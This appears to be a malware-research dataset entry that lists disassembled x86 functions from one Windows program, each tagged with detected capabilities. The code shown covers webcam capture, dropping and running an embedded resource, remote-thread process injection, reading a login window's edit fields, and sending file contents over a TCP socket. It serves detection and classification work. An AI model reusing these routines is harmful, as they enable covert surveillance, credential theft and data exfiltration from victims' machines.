joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403570
Capabilities:
Write file on windows

Disassembly:
push ecx
mov al, byte [esp + 0xc]
push esi
dec al
mov esi, ecx
js 0x403624
movsx eax, al
push ebp
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
lea ebp, [eax*2 + 0x409468]
inc eax
mov dword [esp + 0xc], eax
mov ax, word [ebp]
mov edx, dword [esp + 0x14]
and eax, edx
test ax, ax
je 0x4035b7
movsx ecx, byte [esi + 1]
mov al, byte [esi]
mov dl, byte [ecx*2 + 0x409468]
or al, dl
mov byte [esi], al
mov al, byte [esi + 1]
sub ebp, 2
dec al
mov byte [esi + 1], al
jns 0x403613
mov al, byte [esi]
cmp al, 0xff
jne 0x4035f6
mov byte [esp + 0x18], al
mov eax, dword [esi + 4]
push eax
push 1
lea ecx, [esp + 0x20]
push 1
push ecx
call edi
mov edx, dword [esi + 4]
lea eax, [esp + 0x28]
push edx
push 1
push 1
push eax
mov byte [esp + 0x38], 0
call edi
add esp, 0x20
jmp 0x40360c
mov ecx, dword [esi + 4]
lea edx, [esp + 0x18]
push ecx
push 1
push 1
push edx
mov byte [esp + 0x28], al
call edi
add esp, 0x10
mov byte [esi + 1], 7
mov byte [esi], 0
mov eax, dword [esp + 0xc]
dec eax
mov dword [esp + 0xc], eax
jne 0x403597
pop edi
pop ebp
pop esi
pop ecx
ret 8
Function at 0x403d30
Capabilities:
Capture webcam image

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 0
mov ebx, ecx
push 0
push 0
push ebx
push 0x403e40
mov dword [ebx + 0x10], 0
call sub.MFC42.DLL_AfxBeginThread
push 0
push 0
push 0xc8
push 0xc8
push 0
push 0
push 0x20000000
push str.Explorer
call sub.AVICAP32.dll_capCreateCaptureWindowA
mov edi, eax
xor eax, eax
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
test edi, edi
setne al
mov esi, eax
test esi, esi
je 0x403da3
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x403da1
push 0
push 0
push 0x40a
push edi
call ebp
mov esi, eax
jmp 0x403da3
xor esi, esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x403df3
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x403df1
push 0
push 0
push 0x43d
push edi
call ebp
mov esi, eax
test esi, esi
je 0x403df3
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x403df1
lea ecx, [ebx + 8]
call sub.MFC42.DLL_CString::LockBuffer
push eax
push 0
push 0x419
push edi
call ebp
mov esi, eax
jmp 0x403df3
xor esi, esi
lea ecx, [ebx + 8]
call sub.MFC42.DLL_CString::UnlockBuffer
test esi, esi
je 0x403e30
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x403e22
push 0
push 0
push 0x40b
push edi
call ebp
pop edi
pop esi
mov dword [ebx + 0x10], 1
pop ebp
pop ebx
ret
pop edi
pop esi
mov dword [ebx + 0x10], 1
pop ebp
xor eax, eax
pop ebx
ret
mov eax, esi
pop edi
pop esi
mov dword [ebx + 0x10], 1
pop ebp
pop ebx
ret
Function at 0x403eb0
Capabilities:
Accept command line arguments
Create process on windows
Get common file path

Disassembly:
sub esp, 0x304
push ebx
push ebp
push esi
mov esi, dword [esp + 0x314]
mov ebx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [ebx], 0x4097d0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call sub.MFC42.DLL_operatornew
mov edi, dword [esp + 0x320]
mov dword [0x40d898], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call sub.MFC42.DLL_operatornew
mov dword [0x40d89c], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.MSVCRT.dll__strlwr]
mov eax, ecx
mov esi, edi
mov edi, dword [0x40d898]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x40d898]
push ecx
call ebp
mov edi, dword [esp + 0x328]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [0x40d89c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x40d89c]
push eax
call ebp
mov ecx, dword [esp + 0x330]
add esp, 0x10
lea edx, [esp + 0x214]
mov dword [0x40b2e8], ecx
push 0xff
push edx
push 0
mov dword [ebx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x14]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x17], al
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x11c]
lea edi, [edx + 1]
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
mov byte [edx], 0
push ecx
call ebp
add esp, 0xc
push str.flash
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, dword [0x40d89c]
mov esi, eax
add esp, 8
lea eax, [esp + 0x114]
neg esi
sbb esi, esi
neg esi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [edi]
jne 0x404049
test cl, cl
je 0x404045
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x404049
add eax, 2
add edi, 2
test cl, cl
jne 0x404025
xor edi, edi
jmp 0x40404e
sbb edi, edi
sbb edi, 0xffffffff
lea eax, [esp + 0x14]
push eax
call fcn.00404940
test eax, eax
je 0x4040ab
test esi, esi
je 0x40408a
push 5
push 0
lea ecx, [esp + 0x21c]
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
test edi, edi
je 0x4040b9
push 5
push 0x521
mov ecx, ebx
call fcn.00404f90
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
mov ecx, ebx
mov dword [ebx + 0xc], 1
call fcn.00404280
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
Function at 0x404280
Capabilities:
Get common file path

Disassembly:
sub esp, 0x38
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0x30
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], 0x4041f0
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], str.AStuckWnd
mov dword [esp + 0x44], esi
call dword [sym.imp.USER32.dll_RegisterClassExA]
push esi
push ebx
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0x40b32c
push str.AStuckWnd
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, esi
mov dword [edi + 4], eax
jne 0x404304
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x38
ret
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], 1
push ecx
push esi
push eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x40435d
push str.Shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
cmp ebx, esi
je 0x40435d
push str.SHChangeNotifyRegister
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 4]
lea edx, [esp + 0xc]
push edx
push 1
push 0x458
push 0x100
push 2
push ecx
call eax
push ebx
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [edi + 8]
xor eax, eax
cmp ecx, esi
pop edi
pop esi
pop ebx
setne al
add esp, 0x38
ret
Function at 0x404d10
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1000
call fcn.00407af0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x40b480
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, dword [sym.imp.MSVCRT.dll_fseek]
mov ebp, eax
push 2
push 0xffffffffffffffce
push ebp
call ebx
push ebp
push 0x32
lea edx, [esp + 0x82c]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x24
push 1
push 0xffffffffffffff9c
push ebp
call ebx
push ebp
push 0x32
lea eax, [esp + 0x24]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
mov al, byte [esp + 0x5d]
add esp, 0x1c
cmp al, 0xaa
jne 0x404e0f
or ecx, 0xffffffff
mov edi, 0x40b478
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x810]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x404d62
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x814]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x1014]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
pop edi
dec ecx
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x1000
ret 4

Function at 0x404e60
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x64
lea eax, [esp]
push esi
push edi
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x40b480
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push 2
push 0xffffffffffffffce
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 0x32
lea edx, [esp + 0x24]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x70]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
mov eax, ecx
pop esi
add esp, 0x64
ret 4
Function at 0x404ef0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
push 0x40b144
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x404f12
pop edi
pop esi
pop ebp
ret 8
mov ecx, dword [esp + 0x14]
push 0x40b484
and ecx, 0xffff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x404f36
pop edi
pop esi
pop ebp
ret 8
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x404f4b
pop edi
pop esi
pop ebp
ret 8
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x404f72
push ebp
push 1
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
test esi, esi
pop ebx
pop edi
pop esi
pop ebp
setne al
ret 8

Function at 0x404f90
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x200
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push eax
mov ebx, ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [esp + 0x218]
lea ecx, [esp + 0x110]
push 0xff
push ecx
push edx
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [esp + 0x110]
push eax
call fcn.00404120
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x214]
mov ecx, ebp
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
mov ecx, ebx
call fcn.00404ef0
lea edx, [esp + 0x10]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
cmp eax, 0x20
pop ebx
jae 0x40504b
push 5
push 0
lea eax, [esp + 8]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, 1
add esp, 0x200
ret 8
Function at 0x405230
Capabilities:
Create thread

Disassembly:
sub esp, 0x14
mov ecx, dword [esp + 0x18]
push ebx
push ebp
push esi
lea eax, [esp + 0x24]
push edi
xor esi, esi
push eax
push ecx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0x28]
push edx
push esi
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, esi
je 0x40536a
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualAllocEx
push str.KERNEL32.DLL
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.VirtualFreeEx
push str.KERNEL32.DLL
mov ebx, eax
call esi
push eax
call ebp
test ebx, ebx
mov dword [esp + 0x1c], eax
je 0x40536a
test eax, eax
je 0x40536a
mov esi, dword [esp + 0x30]
mov eax, dword [esp + 0x38]
push 0x40
push 0x3000
lea ecx, [esi + eax + 3]
push ecx
push 0
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40536a
mov eax, dword [esp + 0x2c]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea edx, [esp + 0x10]
push edx
push esi
push eax
push ebx
push edi
call ebp
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
add esi, 4
lea ecx, [esp + 0x10]
and esi, 0xfffffffc
push ecx
add esi, ebx
push edx
push eax
push esi
push edi
call ebp
lea ecx, [esp + 0x14]
push ecx
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebp, eax
push 0xffffffffffffffff
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
lea edx, [esp + 0x18]
push edx
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [esp + 0x20]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push 0x8000
push 0
push ebx
push edi
call dword [esp + 0x2c]
push edi
call esi
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret
Function at 0x405380
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x19c
push ebx
push ebp
push esi
push edi
push str.User32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov ecx, 0x67
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, 0x4055a0
push str.SendMessageTimeoutA
push ebx
sub ebp, 0x405530
call edi
mov esi, dword [esp + 0x1b0]
mov dword [esp + 0x1c], eax
push esi
call dword [sym.imp.USER32.dll_IsWindowUnicode]
test eax, eax
je 0x4053fb
push str.GetWindowLongW
push ebx
call edi
push str.GetClassInfoExW
push ebx
mov dword [esp + 0x1c], eax
call edi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x2c]
push 0x40
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameW]
jmp 0x405424
push str.GetWindowLongA
push ebx
call edi
push str.GetClassInfoExA
push ebx
mov dword [esp + 0x1c], eax
call edi
lea ecx, [esp + 0x2c]
push 0x80
push ecx
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_GetClassNameA]
push 0xffffffffffffffe0
push esi
mov dword [esp + 0x28], esi
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0xfffffffffffffffa
push esi
mov word [esp + 0x2c], ax
call dword [sym.imp.USER32.dll_GetWindowLongA]
xor ebx, ebx
mov dword [esp + 0x28], eax
push ebx
push esi
mov dword [esp + 0xe4], ebx
mov dword [esp + 0x1b0], 0xc8
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
jne 0x40546f
mov dword [esp + 0x18], ebx
lea edx, [esp + 0x10]
push 0x19c
push edx
push ebp
push 0x405530
push esi
call fcn.00405230
add esp, 0x14
test eax, eax
jne 0x4054c3
mov eax, dword [esp + 0x1b8]
cmp eax, ebx
je 0x405499
mov dword [eax], ebx
mov edi, dword [esp + 0x1b4]
cmp edi, ebx
je 0x4054ad
mov ecx, 0xc
xor eax, eax
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1bc]
pop edi
pop esi
pop ebp
mov byte [eax], bl
xor eax, eax
pop ebx
add esp, 0x19c
ret
mov edx, dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b4]
cmp edx, ebx
je 0x4054e5
mov ecx, 0xc
lea esi, [esp + 0xac]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
cmp eax, ebx
je 0x4054f2
mov ecx, dword [esp + 0xdc]
mov dword [edx], ecx
mov esi, dword [esp + 0x1bc]
lea edx, [esp + 0xe0]
push 0xc8
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov byte [esi + 0xc8], bl
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x19c
ret
Function at 0x4055b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40824a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x4097e8
xor edi, edi
lea ecx, [esi + 4]
mov dword [esp + 0x20], edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x24]
mov byte [esp + 0x20], 1
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x44]
mov byte [esp + 0x20], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x48]
mov byte [esp + 0x20], 3
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x4c]
mov byte [esp + 0x20], 4
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x50]
mov byte [esp + 0x20], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
mov dword [esi + 0x2c], ecx
push edx
mov ecx, ebp
mov byte [esp + 0x24], 6
mov dword [esi], 0x4097d4
mov dword [esi + 0x28], eax
call sub.MFC42.DLL_CString::operator
mov eax, dword [esi + 0x2c]
mov dword [esi + 0xc], edi
cmp eax, edi
je 0x405668
lea ecx, [esi + 0x3c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [esi + 0x40], eax
push 0x40b960
mov ecx, ebx
mov dword [esi + 0x54], edi
call fcn.0040786e
push 0x40b960
lea ecx, [esi + 0x50]
call fcn.0040786e
mov eax, dword [esi + 0x2c]
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, edi
mov dword [esi + 8], 1
mov dword [esi + 0x20], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x30], edi
je 0x4056c1
push str.YLoginWnd
push str.32770
push edi
push eax
call ebx
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4056d5
push edi
push str.Edit
push edi
push eax
call ebx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4056ec
mov edx, dword [esi + 0x34]
push edi
push str.Edit
push edx
push eax
call ebx
mov dword [esi + 0x38], eax
mov ecx, dword [esi + 0x38]
lea eax, [esp + 0x14]
push eax
push 0x3e8
push 2
push edi
push edi
push 0x303
push ecx
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 0xc
Function at 0x407180
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
push 0x200
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1ac], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, str.TheComputerOfTheGhost
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b0], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x202
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
test eax, eax
je 0x4071f3
mov ecx, dword [ebx + 0x1ac]
push str.Error_at_WSAStartup___n
push ecx
call esi
add esp, 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx + 0x190], eax
jne 0x40722e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, dword [ebx + 0x1ac]
push eax
push str.Error_at_socket__:__ld_n
push edx
call esi
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
mov eax, ebx
pop esi
pop ebx
ret
mov dword [ebx + 0x194], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x407240
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40725b
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x40725f
mov eax, dword [esp + 8]
push edi
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x198]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x19c], eax
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x190]
push 0x10
push edi
push ecx
mov word [esi + 0x19a], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
pop edi
jne 0x4072c9
mov edx, dword [esi + 0x1ac]
push str.Failed_to_connect._n
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop esi
ret 8
xor eax, eax
pop esi
ret 8

Function at 0x407320
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x408
push ebx
push ebp
push esi
push edi
push 0x40b2b8
mov ebp, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
mov ebx, dword [sym.imp.WS2_32.dll_send]
add esp, 8
mov esi, eax
push esi
push 0x400
lea ecx, [esp + 0x18]
push 1
push ecx
call edi
add esp, 0x10
test eax, eax
je 0x407374
push 0
push eax
mov eax, dword [ebp + 0x190]
lea edx, [esp + 0x18]
push edx
push eax
call ebx
cmp eax, 0x400
jge 0x40734d
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x408
ret 8